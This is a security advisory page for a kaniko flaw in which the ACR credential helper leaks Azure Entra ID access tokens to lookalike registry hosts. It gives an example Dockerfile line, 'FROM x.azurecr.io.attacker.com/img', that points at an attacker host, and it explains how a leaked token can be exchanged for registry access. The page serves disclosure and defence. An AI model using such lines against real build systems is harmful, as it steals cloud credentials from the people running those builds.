GHSA-5Q7H-W9JF-CX97

Vulnerability from github – Published: 2026-11-05 17:48 – Updated: 2026-11-05 17:48
VLAI
Summary
kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts
Details

Summary

kaniko before v1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to a registry host an attacker controls. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img, is enough. The build needs no RUN instruction and never has to push.

The flaw is in the Azure Container Registry (ACR) credential helper, github.com/chrismellard/docker-credential-acr-env. kaniko links it into the executor and warmer (the built-in helper) and also builds it as the standalone docker-credential-acr-env binary. The helper decides whether a host is an ACR registry with an unanchored regex, so any hostname that contains .azurecr.io (or .azurecr.cn, .azurecr.de, .azurecr.us) passes. The upstream module is unmaintained and has no fixed release. The Go vulnerability database tracks the upstream flaw as GO-2026-6225.

Who is affected

You are affected if you run kaniko before v1.25.20 on Dockerfiles, or build arguments, that you don't fully control, in an environment where the helper can get an Azure identity:

  • service principal credentials in the environment (AZURE_CLIENT_ID, AZURE_CLIENT_SECRET, AZURE_TENANT_ID)
  • a federated workload identity token (AZURE_FEDERATED_TOKEN or AZURE_FEDERATED_TOKEN_FILE, with AZURE_CLIENT_ID and AZURE_TENANT_ID), as injected by AKS workload identity
  • a managed identity, through the Azure Instance Metadata Service (for example on an AKS node or Azure VM) or MSI_ENDPOINT

You do not need to use ACR, or configure the helper, to be affected. kaniko consults the built-in helper for any registry that has no credentials in your Docker config and is not a Google or Amazon ECR registry, and every lookalike host falls in that set. That covers base images in FROM lines and images in COPY --from=<image>. kaniko asks for credentials before it contacts the registry, so the attacker's registry doesn't need to request authentication.

If your Docker config.json sets "credsStore": "acr-env", the standalone binary is consulted for every registry as well. Before v1.25.20 this setting broke pulls from non-ACR registries, so it is uncommon.

Impact

The helper puts the token in both the Authorization: Bearer header and the access_token form field of a POST to https://<host>/oauth2/exchange, so the attacker receives a live access token for Azure Resource Manager. Until it expires, the attacker can use it against Azure Resource Manager with the identity's role assignments. They can also exchange it, as the helper does, at the /oauth2/exchange endpoint of any real ACR registry the identity can access, and so obtain registry credentials. If the identity has AcrPush or higher, the attacker can push images to your registries.

Patches

Fixed in v1.25.20 by #495. kaniko now carries a patched copy of the helper under third_party/docker-credential-acr-env, which the executor, the warmer and the docker-credential-acr-env binary built by deploy/Dockerfile all use. The patched helper accepts a host only if it is exactly host[:port] and the hostname is mcr.microsoft.com or a well-formed name ending in .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us. For any other host it reports "credentials not found" without requesting a token.

This repository publishes no binaries or images. Rebuild the executor, the warmer and docker-credential-acr-env from v1.25.20 or later. If you import kaniko as a Go module, update github.com/chainguard-dev/kaniko to v1.25.20 or later.

From v1.25.20, kaniko no longer depends on github.com/chrismellard/docker-credential-acr-env, so scanners stop reporting GO-2026-6225 for it.

Workarounds

If you can't upgrade, don't let untrusted builds reach an Azure identity:

  • Remove Azure credentials, federated tokens, MSI_ENDPOINT and MSI_SECRET from the build environment, and block access to the Instance Metadata Service (169.254.169.254) from build pods.
  • If you don't rely on kaniko's built-in ACR authentication, set AZURE_ENVIRONMENT to a value that names no Azure cloud, such as AZURE_ENVIRONMENT=none, in the kaniko container. The helper then fails before requesting any token, and kaniko no longer authenticates to ACR through it.

Also, if you set "credsStore": "acr-env", replace it with per-host credHelpers entries for your own ACR registries. On its own this closes only the standalone-binary path.

If you have built untrusted Dockerfiles with an Azure identity available, treat any access token issued to that identity during those builds as compromised. A leaked token stays valid until it expires, and rotating the identity's credentials does not revoke it. Review the identity's Entra ID sign-in logs and Azure activity logs for that period, especially for ACR pushes, role-assignment changes and key or secret listings, and rotate any secrets the identity could read through Azure Resource Manager, such as storage account keys.

Credit

Reported by Martin Zihlmann (@mzihlmann) of osscontainertools.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/chainguard-dev/kaniko"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.25.20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-105769"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-05T17:48:54Z",
    "nvd_published_at": "2026-11-02T17:17:32Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nkaniko before v1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to a registry host an attacker controls. A Dockerfile that references an image on a lookalike host, such as `FROM x.azurecr.io.attacker.com/img`, is enough. The build needs no `RUN` instruction and never has to push.\n\nThe flaw is in the Azure Container Registry (ACR) credential helper, `github.com/chrismellard/docker-credential-acr-env`. kaniko links it into the executor and warmer (the built-in helper) and also builds it as the standalone `docker-credential-acr-env` binary. The helper decides whether a host is an ACR registry with an unanchored regex, so any hostname that contains `.azurecr.io` (or `.azurecr.cn`, `.azurecr.de`, `.azurecr.us`) passes. The upstream module is unmaintained and has no fixed release. The Go vulnerability database tracks the upstream flaw as [GO-2026-6225](https://pkg.go.dev/vuln/GO-2026-6225).\n\n### Who is affected\n\nYou are affected if you run kaniko before v1.25.20 on Dockerfiles, or build arguments, that you don\u0027t fully control, in an environment where the helper can get an Azure identity:\n\n- service principal credentials in the environment (`AZURE_CLIENT_ID`, `AZURE_CLIENT_SECRET`, `AZURE_TENANT_ID`)\n- a federated workload identity token (`AZURE_FEDERATED_TOKEN` or `AZURE_FEDERATED_TOKEN_FILE`, with `AZURE_CLIENT_ID` and `AZURE_TENANT_ID`), as injected by AKS workload identity\n- a managed identity, through the Azure Instance Metadata Service (for example on an AKS node or Azure VM) or `MSI_ENDPOINT`\n\nYou do not need to use ACR, or configure the helper, to be affected. kaniko consults the built-in helper for any registry that has no credentials in your Docker config and is not a Google or Amazon ECR registry, and every lookalike host falls in that set. That covers base images in `FROM` lines and images in `COPY --from=\u003cimage\u003e`. kaniko asks for credentials before it contacts the registry, so the attacker\u0027s registry doesn\u0027t need to request authentication.\n\nIf your Docker `config.json` sets `\"credsStore\": \"acr-env\"`, the standalone binary is consulted for every registry as well. Before v1.25.20 this setting broke pulls from non-ACR registries, so it is uncommon.\n\n### Impact\n\nThe helper puts the token in both the `Authorization: Bearer` header and the `access_token` form field of a POST to `https://\u003chost\u003e/oauth2/exchange`, so the attacker receives a live access token for Azure Resource Manager. Until it expires, the attacker can use it against Azure Resource Manager with the identity\u0027s role assignments. They can also exchange it, as the helper does, at the `/oauth2/exchange` endpoint of any real ACR registry the identity can access, and so obtain registry credentials. If the identity has `AcrPush` or higher, the attacker can push images to your registries.\n\n### Patches\n\nFixed in [v1.25.20](https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20) by [#495](https://github.com/chainguard-forks/kaniko/pull/495). kaniko now carries a patched copy of the helper under `third_party/docker-credential-acr-env`, which the executor, the warmer and the `docker-credential-acr-env` binary built by `deploy/Dockerfile` all use. The patched helper accepts a host only if it is exactly `host[:port]` and the hostname is `mcr.microsoft.com` or a well-formed name ending in `.azurecr.io`, `.azurecr.cn`, `.azurecr.de` or `.azurecr.us`. For any other host it reports \"credentials not found\" without requesting a token.\n\nThis repository publishes no binaries or images. Rebuild the executor, the warmer and `docker-credential-acr-env` from v1.25.20 or later. If you import kaniko as a Go module, update `github.com/chainguard-dev/kaniko` to v1.25.20 or later.\n\nFrom v1.25.20, kaniko no longer depends on `github.com/chrismellard/docker-credential-acr-env`, so scanners stop reporting GO-2026-6225 for it.\n\n### Workarounds\n\nIf you can\u0027t upgrade, don\u0027t let untrusted builds reach an Azure identity:\n\n- Remove Azure credentials, federated tokens, `MSI_ENDPOINT` and `MSI_SECRET` from the build environment, and block access to the Instance Metadata Service (`169.254.169.254`) from build pods.\n- If you don\u0027t rely on kaniko\u0027s built-in ACR authentication, set `AZURE_ENVIRONMENT` to a value that names no Azure cloud, such as `AZURE_ENVIRONMENT=none`, in the kaniko container. The helper then fails before requesting any token, and kaniko no longer authenticates to ACR through it.\n\nAlso, if you set `\"credsStore\": \"acr-env\"`, replace it with per-host `credHelpers` entries for your own ACR registries. On its own this closes only the standalone-binary path.\n\nIf you have built untrusted Dockerfiles with an Azure identity available, treat any access token issued to that identity during those builds as compromised. A leaked token stays valid until it expires, and rotating the identity\u0027s credentials does not revoke it. Review the identity\u0027s Entra ID sign-in logs and Azure activity logs for that period, especially for ACR pushes, role-assignment changes and key or secret listings, and rotate any secrets the identity could read through Azure Resource Manager, such as storage account keys.\n\n### Credit\n\nReported by Martin Zihlmann ([@mzihlmann](https://github.com/mzihlmann)) of osscontainertools.",
  "id": "GHSA-5q7h-w9jf-cx97",
  "modified": "2026-11-05T17:48:54Z",
  "published": "2026-11-05T17:48:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-105769"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chrismellard/docker-credential-acr-env/issues/21"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chainguard-forks/kaniko/pull/495"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chainguard-forks/kaniko/commit/08de01fe7fffaeb6bc030efa9eae723ea2dd4405"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chainguard-forks/kaniko/commit/58915b22dbeca4d936d6bb51c0c889baf6ebbc48"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/chainguard-forks/kaniko"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2026-6225"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "kaniko can send the build\u0027s Azure (Entra ID) access token to lookalike ACR registry hosts"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…